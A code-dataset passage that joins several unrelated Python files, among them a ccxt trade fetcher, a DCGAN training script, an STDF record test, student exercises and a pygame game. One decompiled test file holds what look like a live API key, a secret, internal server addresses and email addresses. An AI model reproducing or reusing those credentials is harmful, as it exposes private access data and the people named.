waiting %d seconds...\\n\" % self.wait_seconds)\n time.sleep(self.wait_seconds)\n except RequestTimeout:\n sys.stderr.write(\"Request timeout, retrying...\\n\")\n\n def fetch_all(self, symbol, since8601, to8601=None):\n trades = []\n last_trade = None\n # last = {'price': 7509.8, 'amount': 0.0035042, 'cost': 26.315841159999998}\n for step in self.fetch(symbol, since8601, to8601):\n for trade in step:\n # trades.append(trade)\n\n if last_trade is None:\n last_trade = trade.copy()\n elif last_trade['price'] == trade['price']:\n last_trade['amount'] += trade['amount']\n # last_trade['cost'] += trade['cost'] # on some exchanges is None\n else:\n trades.append(last_trade)\n last_trade = trade.copy()\n # print(last_trade)\n trades.append(last_trade)\n print(\"ACC trades\", len(trades))\n return trades","sub_path":"src/tradingkit/data/fetch/ccxt_fetcher.py","file_name":"ccxt_fetcher.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"163982258","text":"game_dictionary = {\n'home':{\n 'team_name':'Brooklyn Nets',\n 'colors': ['Black', 'White'],\n 'players':{\n 'Alan Anderson':{'number': 0,'shoe':16, 'points':22, 'rebounds':12, 'assists':12, 'steals':3, 'blocks':1, 'slam_dunks':1},\n 'Reggie Evans':{'number':30,'shoe':14, 'points':12, 'rebounds':12, 'assists':12, 'steals':12, 'blocks':12, 'slam_dunks':7},\n 'Brook Lopez':{'number':11,'shoe':17, 'points':17, 'rebounds':19, 'assists':10, 'steals':3, 'blocks':1, 'slam_dunks':5},\n 'Mason Plumlee':{'number':1,'shoe':19, 'points':26, 'rebounds':12, 'assists':6, 'steals':3, 'blocks':8, 'slam_dunks':5},\n 'Jason Terry':{'number':31,'shoe':15, 'points':19, 'rebounds':2, 'assists':2, 'steals':4, 'blocks':11, 'slam_dunks':4}}},\n'away':{\n 'team_name':'Charlotte Hornets',\n 'colors': ['Turquoise, Purple'],\n 'players':{\n 'Jeff Adrien':{'number':4,'shoe':18, 'points':10, 'rebounds':1, 'assists':1, 'steals':2, 'blocks':7, 'slam_dunks':2},\n 'Bismak Biyombo':{'number':0,'shoe':16, 'points':12, 'rebounds':4, 'assists':7, 'steals':7, 'blocks':15, 'slam_dunks':10},\n 'DeSagna Diop':{'number':2,'shoe':14, 'points':24, 'rebounds':12, 'assists':12, 'steals':4, 'blocks':5, 'slam_dunks':5},\n 'Ben Gordon':{'number':8,'shoe':15, 'points':33, 'rebounds':3, 'assists':2, 'steals':1, 'blocks':1, 'slam_dunks':0},\n 'Brendan Haywood':{'number':33,'shoe':15, 'points':6, 'rebounds':12, 'assists':12, 'steals':22, 'blocks':5, 'slam_dunks':12}}}}\n\ndef game_dict():\n return game_dictionary\n\ndef num_points_scored(player):\n for location, team_stats in game_dict().items():\n if player in team_stats['players'].keys():\n return team_stats['players'][player]['points']\n\ndef shoe_size(player):\n for location, team_stats in game_dict().items():\n if player in team_stats['players'].keys():\n return team_stats['players'][player]['shoe']\n\ndef team_colors(team_name):\n for location, team_stats in game_dict().items():\n if team_name in team_stats['team_name']:\n return team_stats['colors']\n\ndef team_names():\n team_names_list=[]\n for location, team_stats in game_dict().items():\n team_names_list.append(team_stats['team_name'])\n return team_names_list\n\ndef player_numbers(team_name):\n for location, team_stats in game_dict().items():\n if team_name == team_stats['team_name']:\n return [team_stats['players'][player]['number'] for player in team_stats['players'].keys()]\n\ndef player_stats(player):\n for location, team_stats in game_dict().items():\n if player in team_stats['players'].keys():\n return team_stats['players'][player]\n","sub_path":"dictionaryball.py","file_name":"dictionaryball.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"174263854","text":"def main():\n import shelve\n\n allrows = shelve.open('drows.db')\n try:\n allrows['0'] = {1:'foo', 2:'bar', 3:'Lumberjack', 4:'Knights'}\n allrows['Hello'] = {'foo': 'Hello', 'bar': \"World\", 'Lumberjack': '?', 'Knights': '?'}\n allrows['Spam'] = {'foo': 'Spam', 'bar': \"Eggs\", 'Lumberjack': '?', 'Knights': '?'}\n finally:\n allrows.close()\n\n allrows = shelve.open('drows.db')\n\n fargs = {}\n for item in allrows['0']:\n fname = allrows['0'][item]\n if fname in globals():\n fargs[fname] = {}\n from inspect import signature, _empty\n sig = signature(eval(fname))\n print(\"%s is a function with arguments %s\" % (fname, sig))\n for param in sig.parameters.values():\n pname = param.name\n pdefault = param.default\n #print(pdefault is _empty)\n #print('%s %s' % (pname, pdefault))\n if pdefault is _empty:\n fargs[fname][pname] = None\n print('Required parameter: %s %s' % (fname, pname))\n else:\n fargs[fname][pname] = pdefault\n print('I have default value for: %s %s %s' % (fname, pname, pdefault))\n print(fargs)\n\n for item in allrows:\n if item != '0':\n print(\"%s: %s\" % (item, allrows[item]))\n\ndef delrow(allrows, rowkey):\n try:\n del allrows[rowkey]\n except:\n pass\n\ndef Knights():\n return \"Ni\"\n\ndef Lumberjack(job, play='', status='Okay'):\n return \"I'm okay\"\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"gro.py","file_name":"gro.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"539350282","text":"import numpy as np\nimport pandas as pd\nimport os\nfrom utils_dir import utils, plot_utils\nimport argparse\n\n\ndef calculate_class_distribution(dataset_dir, save_dir):\n # dataset_dir = \"/home/quanchu/Dataset/FaceImagCroppedWithAlignmentShorten\"\n lst = []\n\n dirs = os.listdir(dataset_dir)\n for dir in dirs:\n full_dir_path = os.path.join(dataset_dir, dir)\n num_files = len(os.listdir(full_dir_path))\n\n lst.append((dir, num_files))\n # print(\"Class {} : {} files\".format(dir, num_files))\n\n df = pd.DataFrame(lst, columns=[\"Class\", \"Number Samples\"])\n\n # save_dir = \"./EDA/Version2\"\n\n # Save file contain number samples of each class\n utils.save_csv(df, os.path.join(save_dir, \"Class-NumSamples.csv\"))\n print(df.head())\n\n # Save file contain statistic about class distribution\n arr = df[\"Number Samples\"].values\n min, max, mean, std, sum = arr.min(), arr.max(), arr.mean(), arr.std(), arr.sum()\n stats = [(\"min\", min), (\"max\", max), (\"mean\", mean), (\"std\", std), (\"sum\", sum)]\n\n stats_df = pd.DataFrame(stats, columns=[\"Statistic\", \"Value\"])\n utils.save_csv(stats_df, os.path.join(save_dir, \"Statistic.csv\"))\n\n # Plot number samples of each class\n plot_utils.plot_histogram(\n arr.tolist(),\n num_bins=300,\n save_path=os.path.join(save_dir, \"ClassDistribution.jpg\"),\n color=\"C2\",\n figsize=(15, 8),\n title=\"Class Distribution\",\n xlabel=\"Number samples\",\n ylabel=\"Number classes\",\n )\n\n # print(\"In {}: has {} dirs\".format(dataset_dir, len(dirs)))\n print(\"EDA:: Save calculate class distribution to {} done\".format(save_dir))\n\n\nif __name__ == \"__main__\":\n\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--dataset_dir\", required=True)\n ap.add_argument(\"--save_dir\", required=True)\n\n args = vars(ap.parse_args())\n dataset_dir = args[\"dataset_dir\"]\n save_dir = args[\"save_dir\"]\n\n calculate_class_distribution(dataset_dir=dataset_dir, save_dir=save_dir)\n pass\n\n","sub_path":"eda.py","file_name":"eda.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"597987229","text":"import numpy as np\r\nimport itertools\r\nfrom scipy import stats\r\n\r\ndef data(alpha,n,beta,se,rou):\r\n cov = (1-rou)*np.identity(q) + rou*(np.ones((q,q)))\r\n X = np.random.multivariate_normal(np.zeros(q), cov, n)\r\n Y = alpha + X@beta + np.random.randn(n)*se\r\n return X,Y\r\n\r\ndef Y_m(X,Y,*args):\r\n q = len(X[0])\r\n n = len(Y)\r\n K = args[0]\r\n line = np.arange(0,q,1)\r\n min_error = np.inf\r\n Ym = np.zeros(n)\r\n if (K>=4 and K<=(q-4)):\r\n xk = np.zeros((n,K))\r\n for i in range(K):\r\n xk[:,i] = X[:,i]\r\n Y_hat = xk@np.linalg.inv(xk.T@xk)@xk.T@Y\r\n min_error = np.dot(Y-Y_hat,Y-Y_hat)\r\n Ym = Y_hat\r\n for i in range(1000):\r\n xk = np.zeros((n,K))\r\n index = np.sort(np.random.choice(q, K, replace=False))\r\n for j in range(K):\r\n xk[:,j] = X[:,index[j]]\r\n Y_hat = xk@np.linalg.inv(xk.T@xk)@xk.T@Y\r\n error = np.dot(Y-Y_hat,Y-Y_hat)\r\n if (error -1:\r\n ar = ar / 10\r\n print(\"Þú ert\", ar, \"ára í hundsárum\")\r\nelif ar > 2:\r\n ar = ar - 20\r\n ar = ar / 4\r\n ar = ar + 2\r\n print(\"Þú ert\", ar, \"ára í hundsárum\")\r\nelse:\r\n print(\"Þetta er ekki réttur aldur\")\r\nprint()\r\n\r\n#liður_2_serhljodi_eda_samhljodi\r\nprint()\r\nprint(\"þetta forit segir þér hvort þú hefur slegið inn samhljóað eða sérhljóða\")\r\nprint(\"Ath þetta virkar bara fyrir enska stafarófið!\")\r\nstafur = input(\"Sláðu inn staf\")\r\nif stafur == \"a\" or stafur == \"e\" or stafur == \"i\" or stafur == \"o\" or stafur == \"u\":\r\n print(stafur,\", er sérhljóði\")\r\nelif stafur == \"y\":\r\n print(stafur,\", gæti verið sérhljóði og samhljóði\")\r\nelse:\r\n print(\"þetta er samhljóði\")\r\nprint()\r\n\r\n#liður_3_vikulaun\r\nprint()\r\nprint(\"Þetta forit reiknar út launseðil viðkomandi\")\r\nnafn = input(\"Sláðu inn nafn: \")\r\nkt = input(\"Sláður inn kennitölu: \")\r\ntimi = int(input(\"Sláðu inn vinnutíman þinn námundað upp að klst fyrir síðustu viku: \"))\r\nif timi > 60:\r\n extra_vinna = timi - 60\r\n extra_laun = extra_vinna * 1200 * 2\r\n yfir_vinna = 20\r\n yfir_laun = yfir_vinna * 1200 * 1.5\r\n dag_vinna = 40\r\n dag_laun = dag_vinna * 1200\r\n heildar_laun = dag_laun + yfir_laun + extra_laun\r\nelif timi < 61 and timi > 40:\r\n yfir_vinna = timi - 40\r\n yfir_laun = yfir_vinna * 1200 * 1.5\r\n dag_vinna = 40\r\n dag_laun = dag_vinna * 1200\r\n heildar_laun = dag_laun + yfir_laun\r\nelif timi < 41:\r\n dag_vinna = timi\r\n dag_laun = timi * 1200\r\n heildar_laun = dag_laun\r\n\r\n\r\nprint(nafn,\"kt:\",kt)\r\nprint(\"Heildarlaun þín fyrir vikuna eru: \",heildar_laun,\" kr\")\r\nprint(\"Þú ert með\", dag_vinna,\"tíma í dagvinnu sem gera: \", dag_laun,\" kr\")\r\nprint(\"Þú ert með\", yfir_vinna,\"tíma í yfirvinnu sem gera: \", yfir_laun,\" kr\")\r\nprint(\"Þú ert með\", extra_vinna,\"tíma í extra álagi sem gera: \", extra_laun,\" kr\")","sub_path":"py_projects/forritun/aefingaverkefni/aukaæfing(Ifelse).py","file_name":"aukaæfing(Ifelse).py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"311682318","text":"def ideal_helmholtz_from_coef_vector(delta,tau,ideal_n,ideal_gamma):\r\n from numpy import log,exp,meshgrid\r\n tau_m,ideal_n_m=meshgrid(tau,ideal_n)\n delta_m,ideal_gamma_m=meshgrid(delta,ideal_gamma)\n \r\n t1=ideal_n_m[3:len(ideal_gamma)][:]*log(1.0-exp(-ideal_gamma_m[3:len(ideal_gamma)][:]*tau_m[3:len(ideal_gamma)][:])) \r\n t1_v=t1.sum(axis=0)\n return log(delta) + ideal_n_m[0][:] + ideal_n_m[1][:]*tau_m[2][:] + ideal_n_m[2]*log(tau_m[2][:]) + t1_v\n \n \n","sub_path":"TCM_mex/python_compressibility/h2_ch4_EOS_GERG/helmholtz_functions/ideal_helmholtz_from_coef_vector.py","file_name":"ideal_helmholtz_from_coef_vector.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"46844743","text":"import os\nimport argparse\n\nfrom .data.loader import DrawDataset\nfrom .data.transform import Rasterizer\nfrom .nn import RunDCGAN\nfrom .nn.dcgan import Discriminator, Generator\n\nimport torch\nfrom torch import nn, optim\nfrom torchvision import transforms\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n\n# Argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('-p', '--path',\n help='Path to data directory', type=str)\nparser.add_argument('-s', '--seed_value',\n help='Seed value', type=int, default=1)\nparser.add_argument('-b', '--batch_size',\n help='Batch size', type=int, default=128)\nparser.add_argument('-lr', '--learning_rate',\n help='Learning rate value', type=int, default=0.0002)\nparser.add_argument('-ep', '--train_epoch',\n help='Epoch train number', type=int, default=20)\nparser.add_argument('-c', '--draw_class',\n help='Drawing class', type=str, default=\"apple\")\nparser.add_argument('-r', '--reduce',\n help='Dataset reduction size', type=int, default=10000)\n\nargs = parser.parse_args()\nprint(args)\n\n# Check cuda availability\ncuda = torch.cuda.is_available()\n\n# Initialize the seed\ntorch.manual_seed(args.seed_value)\n\nif cuda:\n torch.cuda.manual_seed(args.seed_value)\n\nmodel_path = \"models-dcgan/\" + args.draw_class\nresult_path = \"result-dcgan/\" + args.draw_class\nos.makedirs(\"models-dcgan\", exist_ok=True)\nos.makedirs(result_path, exist_ok=True)\nif os.path.isfile(model_path):\n runner = RunDCGAN.load(model_path)\nelse:\n gen = Generator()\n dis = Discriminator()\n\n gen.weight_init(mean=0.0, std=0.02)\n dis.weight_init(mean=0.0, std=0.02)\n # Loss criterion: Binary Cross Entropy\n criterion = nn.BCELoss()\n\n # Optimizer: Adam\n dis_optim = optim.Adam(dis.parameters(),\n lr=args.learning_rate, betas=(.5, .999))\n gen_optim = optim.Adam(gen.parameters(),\n lr=args.learning_rate, betas=(.5, .999))\n\n runner = RunDCGAN(dis, dis_optim, gen, gen_optim,\n cuda=cuda, criterion=criterion, log_interval=10)\n\ntransform = transforms.Compose([\n Rasterizer(),\n transforms.Scale((64, 64)),\n transforms.ToTensor(),\n transforms.Normalize(\n mean=(0.5, 0.5, 0.5),\n std=(0.5, 0.5, 0.5))\n])\n\nprint(\"Loading data for class '{}'...\".format(args.draw_class))\ndataset = DrawDataset.load(args.path, transform=transform)\ndataset = dataset.select([args.draw_class])\ndataset = dataset.reduce(args.reduce, seed=args.seed_value)\nprint(\"Done.\")\n\ntrain = torch.utils.data.DataLoader(\n dataset,\n batch_size=args.batch_size,\n shuffle=True)\n\nfor _ in range(args.train_epoch):\n print(\"Epoch {}...\".format(runner.epoch + 1))\n runner.train_epoch(train)\n img = runner.test()\n plt.imshow(img, cmap='gray')\n plt.title(\"Epoch {}\".format(runner.epoch + 1))\n plt.savefig(\"{}/{}.png\".format(result_path, runner.epoch + 1))\n\n runner.epoch += 1\n runner.save(model_path)\n","sub_path":"deepdraw/dcgan.py","file_name":"dcgan.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"94868214","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/mittepro/test_variables.py\n# Compiled at: 2020-01-28 09:25:21\n# Size of source mod 2**32: 2640 bytes\nvariables = {'recipients': [\n 'Thíàgõ ',\n 'Läçêrdà '], \n \n 'context_per_recipient': {'thiago.decastro2@gmail.com': {'updateprofile': 'https://www.google.com/doodles/celebrating-ruth-asawa', \n 'update_profile': 'https://www.google.com/doodles/teachers-day-2019-paraguay', \n 'sobrenome': 'Tíâò', \n 'lastname': 'Làçẽrdä', \n 'forward': 'https://www.google.com/doodles/celebrating-the-new-era', \n 'resub': 'https://www.google.com/doodles/na-hye-soks-123rd-birthday', \n 'unsub': 'https://www.google.com/doodles/rosy-afsaris-73rd-birthday', \n 'aniversario': '17/11', \n 'birthday': '12/01', \n 'e-mail': 'thiago.dsn.cir@alterdata.com.br', \n 'email': 'alex.dsn.cir@alterdata.com.br', \n 'nome': 'Àléx', \n 'name': 'Ãlëx'}, \n \n 'thiago.dsn.cir@alterdata.com.br': {'updateprofile': 'https://www.google.com/doodles/celebrating-ruth-asawa', \n 'update_profile': 'https://www.google.com/doodles/teachers-day-2019-paraguay', \n 'sobrenome': 'Tíâò', \n 'lastname': 'Làçẽrdä', \n 'forward': 'https://www.google.com/doodles/celebrating-the-new-era', \n 'resub': 'https://www.google.com/doodles/na-hye-soks-123rd-birthday', \n 'unsub': 'https://www.google.com/doodles/rosy-afsaris-73rd-birthday', \n 'aniversario': '17/11', \n 'birthday': '12/01', \n 'e-mail': 'thiago.dsn.cir@alterdata.com.br', \n 'email': 'alex.dsn.cir@alterdata.com.br', \n 'nome': 'Àléx', \n 'name': 'Ãlëx'}}, \n \n 'from_': 'Beutrano ', \n 'from_2': '', \n 'template_slug': 'test-101', \n 'message_text': 'Using this message instead.', \n 'message_html': 'Using this message instead.', \n 'key': '1e4be7cdd03545958e34', \n 'secret': 'cf8cdba282104ed88f0a'}\nserver_uri_test = 'http://172.16.72.93:8002'\nsearch_variables = {'app_ids': '1001', \n 'status': ['1', '2'], \n 'start': '2019-05-01', \n 'end': '2019-05-03', \n 'name_sender': 'Beutrano', \n 'email_sender': 'beutrano@alterdata.com.br', \n 'name_receiver': 'Läçêrdà', \n 'email_receiver': 'thiago.dsn.cir@alterdata.com.br', \n 'template_slug': 'tpl-teste', \n 'uuids': [\n '21da05e09a214bf',\n '7b9332128a3f461',\n '09f7ceac90fe4b3',\n '0f39a611031c4ff',\n 'f2412b7062814de']}","sub_path":"pycfiles/mittepro-2.3.4-py3.5/test_variables.cpython-35.py","file_name":"test_variables.cpython-35.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"324529200","text":"import io\n\nfrom .STDFRecordTest import STDFRecordTest\nfrom Semi_ATE.STDF import WRR\n\n# Wafer Results Record\n# Function:\n# Contains the result information relating to each wafer tested by the job \n# plan. TheWRRand the Wafer Information Record (WIR) bracket all the stored \n# information pertainingto one tested wafer. This record is used only when \n# testing at wafer probe time. AWIR/WRRpair will have the same\n# HEAD_NUM and SITE_GRP values.\n\ndef test_WRR():\n wrr('<')\n wrr('>')\n\ndef wrr(endian):\n \n# ATDF page 34\n expected_atdf = \"WRR:\"\n# record length in bytes \n rec_len = 0;\n\n# STDF page 38\n record = WRR(endian = endian)\n \n head_num = 1\n record.set_value('HEAD_NUM', head_num)\n rec_len += 1;\n expected_atdf += str(head_num) + \"|\"\n\n site_grp = 1\n record.set_value('SITE_GRP', site_grp)\n rec_len += 1;\n\n finish_t = 1609462861 \n record.set_value('FINISH_T', finish_t)\n rec_len += 4;\n expected_atdf += \"1:1:1 1-JAN-2021|\"\n\n# The order of fields is different in STDF and ATDF for WRR record\n# \n# STDF page 38| ATDF page 34 \n# \n# HEAD_NUM = HEAD_NUM\n# SITE_GRP \n# FINISH_T = FINISH_T\n# PART_CNT = PART_CNT \n# | WAFER_ID\n# | SITE_GRP\n# RTST_CNT = RTST_CNT\n# ABRT_CNT = ABRT_CNT\n# GOOD_CNT = GOOD_CNT\n# FUNC_CNT = FUNC_CNT\n# WAFER_ID \n# FABWF_ID = FABWF_ID\n# FRAME_ID = FRAME_ID\n# MASK_ID = MASK_ID\n# USR_DESC = USR_DESC\n# EXC_DESC = EXC_DESC\n\n part_cnt = 11234567 \n record.set_value('PART_CNT', part_cnt)\n rec_len += 4;\n expected_atdf += str(part_cnt) + \"|\"\n\n rtst_cnt = 123 \n record.set_value('RTST_CNT', rtst_cnt)\n rec_len += 4;\n\n abrt_cnt = 0 \n record.set_value('ABRT_CNT', abrt_cnt)\n rec_len += 4;\n\n good_cnt = 11234444\n record.set_value('GOOD_CNT', good_cnt)\n rec_len += 4;\n\n func_cnt = 0\n record.set_value('FUNC_CNT', func_cnt)\n rec_len += 4;\n\n wafer_id = 'WFR_NAS9999'\n record.set_value('WAFER_ID', wafer_id)\n rec_len += len(wafer_id) + 1;\n expected_atdf += wafer_id + \"|\"\n \n expected_atdf += str(site_grp) + \"|\"\n expected_atdf += str(rtst_cnt) + \"|\"\n expected_atdf += str(abrt_cnt) + \"|\"\n expected_atdf += str(good_cnt) + \"|\"\n expected_atdf += str(func_cnt) + \"|\"\n\n fabwf_id = 'FABWFR_FR'\n record.set_value('FABWF_ID', fabwf_id)\n rec_len += len(fabwf_id) + 1;\n expected_atdf += fabwf_id + \"|\"\n\n frame_id = 'FRAME_213141'\n record.set_value('FRAME_ID', frame_id)\n rec_len += len(frame_id) + 1;\n expected_atdf += frame_id + \"|\"\n\n mask_id = 'MASK_131212'\n record.set_value('MASK_ID', mask_id)\n rec_len += len(mask_id) + 1;\n expected_atdf += mask_id + \"|\"\n\n usr_desc = 'USR_DESC'\n record.set_value('USR_DESC', usr_desc)\n rec_len += len(usr_desc) + 1;\n expected_atdf += usr_desc + \"|\"\n\n exc_desc = 'DESC_NOTHING'\n record.set_value('EXC_DESC', exc_desc)\n rec_len += len(exc_desc) + 1;\n expected_atdf += exc_desc\n\n# Test serialization\n# 1. Save WRR STDF record into a file\n# 2. Read byte by byte and compare with expected value\n\n w_data = record.__repr__()\n io_data = io.BytesIO(w_data)\n\n stdfRecTest = STDFRecordTest(io_data, endian)\n# rec_len, rec_type, rec_sub\n stdfRecTest.assert_file_record_header(rec_len, 2, 20)\n# Test HEAD_NUM, expected value num_bins\n stdfRecTest.assert_int(1, head_num)\n# Test SITE_GRP, expected value site_grp\n stdfRecTest.assert_int(1, site_grp)\n# Test FINISH_T, expected value finish_t\n stdfRecTest.assert_int(4, finish_t)\n# Test PART_CNT, expected value part_cnt\n stdfRecTest.assert_int(4, part_cnt)\n# Test RTST_CNT, expected value rtst_cnt\n stdfRecTest.assert_int(4, rtst_cnt)\n# Test ABRT_CNT, expected value abrt_cnt\n stdfRecTest.assert_int(4, abrt_cnt)\n# Test GOOD_CNT, expected value good_cnt\n stdfRecTest.assert_int(4, good_cnt)\n# Test FUNC_CNT, expected value func_cnt\n stdfRecTest.assert_int(4, func_cnt)\n# Test WAFER_ID, expected value wafer_id\n stdfRecTest.assert_ubyte(len(wafer_id))\n stdfRecTest.assert_char_array(len(wafer_id), wafer_id);\n# Test FABWF_ID, expected value fabwf_id\n stdfRecTest.assert_ubyte(len(fabwf_id))\n stdfRecTest.assert_char_array(len(fabwf_id), fabwf_id);\n# Test FRAME_ID, expected value frame_id\n stdfRecTest.assert_ubyte(len(frame_id))\n stdfRecTest.assert_char_array(len(frame_id), frame_id);\n# Test MASK_ID, expected value mask_id\n stdfRecTest.assert_ubyte(len(mask_id))\n stdfRecTest.assert_char_array(len(mask_id), mask_id);\n# Test USR_DESC, expected value usr_desc\n stdfRecTest.assert_ubyte(len(usr_desc))\n stdfRecTest.assert_char_array(len(usr_desc), usr_desc);\n# Test EXC_DESC, expected value exc_desc\n stdfRecTest.assert_ubyte(len(exc_desc))\n stdfRecTest.assert_char_array(len(exc_desc), exc_desc);\n\n# Test de-serialization\n# 1. Open STDF record from a file\n# 2. Read record fields and compare with the expected value\n\n inst = WRR('V4', endian, w_data)\n# rec_len, rec_type, rec_sub\n stdfRecTest.assert_instance_record_header(inst , rec_len, 2, 20)\n# Test HEAD_NUM, position 3, value of head_num variable\n stdfRecTest.assert_instance_field(inst, 3, head_num);\n# Test SITE_GRP, position 4, value of site_grp variable\n stdfRecTest.assert_instance_field(inst, 4, site_grp);\n# Test FINISH_T, position 5, value of finish_t variable\n stdfRecTest.assert_instance_field(inst, 5, finish_t);\n# Test PART_CNT, position 6, value of part_cnt variable\n stdfRecTest.assert_instance_field(inst, 6, part_cnt);\n# Test RTST_CNT, position 7, value of rtst_cnt variable\n stdfRecTest.assert_instance_field(inst, 7, rtst_cnt);\n# Test ABRT_CNT, position 8, value of abrt_cnt variable\n stdfRecTest.assert_instance_field(inst, 8, abrt_cnt);\n# Test GOOD_CNT, position 9, value of good_cnt variable\n stdfRecTest.assert_instance_field(inst, 9, good_cnt);\n# Test FUNC_CNT, position 10, value of func_cnt variable\n stdfRecTest.assert_instance_field(inst, 10, func_cnt);\n# Test WAFER_ID, position 11, value of wafer_id variable\n stdfRecTest.assert_instance_field(inst, 11, wafer_id);\n# Test FABWF_ID, position 12, value of fabwf_id variable\n stdfRecTest.assert_instance_field(inst, 12, fabwf_id);\n# Test FRAME_ID, position 13, value of frame_id variable\n stdfRecTest.assert_instance_field(inst, 13, frame_id);\n# Test MASK_ID, position 14, value of mask_id variable\n stdfRecTest.assert_instance_field(inst, 14, mask_id);\n# Test USR_DESC, position 15, value of usr_desc variable\n stdfRecTest.assert_instance_field(inst, 15, usr_desc);\n# Test EXC_DESC, position 16, value of exc_desc variable\n stdfRecTest.assert_instance_field(inst, 16, exc_desc);\n\n \n# Test ATDF output\n assert inst.to_atdf() == expected_atdf\n\n# Test printing when the record is empty\n empty = WRR('V4', endian)\n print(empty)\n\n# ToDo: Test JSON output\n","sub_path":"tests/test_WRR.py","file_name":"test_WRR.py","file_ext":"py","file_size_in_byte":7016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"6956661","text":"import pygame\nimport random\nimport sys\nfrom os import path\nfrom pygame.locals import QUIT\nimport time \n\n\nimg_dir = path.join(path.dirname(__file__), 'img')\n\n\nWIDTH = 750\nHEIGHT = 600\nFPS = 60\nmove_side = 20\nmove_event = pygame.USEREVENT + 1\n\n#Define Colors\nWHITE = (255,255,255)\nBLACK = (0,0,0)\nRED = (255,0,0)\nGREEN = (0,255,0)\nBLUE = (0,0,255)\nYELLOW = (255,255,0)\nPURPLE = (255,0,255)\n\n#Initialise pygame and create window\npygame.init()\npygame.mixer.init()#for the sound\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Swerve\")\nclock = pygame.time.Clock()\n\n#Game Sounds\nhitsound = pygame.mixer.Sound('Cat Yelling In Fear-SoundBible.com-455973055.wav')\ngoversound = pygame.mixer.Sound('GameOver.wav')\n\nmusic = pygame.mixer.music.load('bgsong.mp3')\npygame.mixer.music.play(loops=-1)\n\n\nscore = 0\ngameLives = 3\ngameNo = 2\n\nfont_name = pygame.font.match_font('arial')\n\ndef draw_text(surf, text, size, x, y): #xy for location, size for how big\n \n\n font = pygame.font.Font(font_name, size)\n text_surface = font.render(text, True, WHITE) #True/False whether you\n #want the font anti-alias or not\n text_rect = text_surface.get_rect()\n text_rect.midtop = (x,y)\n surf.blit(text_surface, text_rect)\n \n\n # x --- Making the Player + Movements --- x\n \nclass Player(pygame.sprite.Sprite): \n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.transform.scale(player_img, (65,65))\n self.image.set_colorkey(BLACK)\n #every sprite has to have this self.rect. Rect that encloses the sprite moving it\n #around and determines where it is in the screen.\n self.rect = self.image.get_rect()\n self.radius = 21\n # pygame.draw.circle(self.image, RED, self.rect.center, self.radius)\n #Putting the player at the center of the screen\n self.rect.centerx = WIDTH / 2\n self.rect.bottom = HEIGHT - 8\n self.speedx = 0 \n\n def update(self):\n \n self.speedx = 0 #speed of player is always zero, should never be moving\n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_LEFT]:\n self.speedx = -8\n if keystate[pygame.K_RIGHT]:\n self.speedx = 8\n self.rect.x += self.speedx\n #player will not move outside the window box when moving left/right\n if self.rect.right > WIDTH:\n self.rect.right = WIDTH\n if self.rect.left < 0:\n self.rect.left = 0\n\n self.speedy = 0\n if keystate[pygame.K_UP]:\n self.speedy = -6\n if keystate[pygame.K_DOWN]:\n self.speedy = 6\n self.rect.y += self.speedy\n \n #player will not move outside the window box when moving up/down\n if self.rect.top < 0:\n self.rect.top = 0\n if self.rect.bottom > HEIGHT:\n self.rect.bottom = HEIGHT\n\n def reset(self):\n self.rect.centerx = WIDTH / 2\n self.rect.bottom = HEIGHT - 8 \n \n # x --- Making the Attackers + Movements --- x\n\nclass Attacker(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = attacker_img\n self.image = pygame.transform.scale(attacker_img, (30,40))\n self.image.set_colorkey(WHITE)\n \n self.rect = self.image.get_rect()\n self.radius = 18\n # pygame.draw.circle(self.image, RED, self.rect.center, self.radius)\n self.rect.x = random.randrange(0, WIDTH - self.rect.width)\n self.rect.y = random.randrange(-100,-40) #where? up above the screen\n self.speedy = random.randrange(1,3) #randomize their speed. slow + fast\n #move from side to side\n self.speedx = random.randrange(-2,2)\n \n def update(self):\n self.rect.x += self.speedx #updated for moving side to side\n \n self.rect.y += self.speedy\n if self.rect.top > HEIGHT + 20 or self.rect.left < -25 or self.rect.right > WIDTH + 35:\n self.rect.x = random.randrange(0, WIDTH - self.rect.width)\n self.rect.y = random.randrange(-100,-40)\n self.speedy = random.randrange(2,3)\n\n def reset(self):\n self.rect.y = random.randrange(-100,-40)\n self.speedy = random.randrange(1,3)\n \n\n # x ----- EXPLOSION ----- x \n\nclass Explosion(pygame.sprite.Sprite):\n def __init__(self, center, ex_type, explosion_anim):\n super().__init__()\n self.ex_type = ex_type\n self.explosion_anim = explosion_anim\n self.image = explosion_anim[self.ex_type][0]\n self.rect = self.image.get_rect()\n self.rect.center = center\n self.frame = 0\n self.last_update = pygame.time.get_ticks()\n self.frame_rate = 50\n\n def update(self):\n current_time = pygame.time.get_ticks()\n #print(self.frame)\n if current_time - self.last_update > 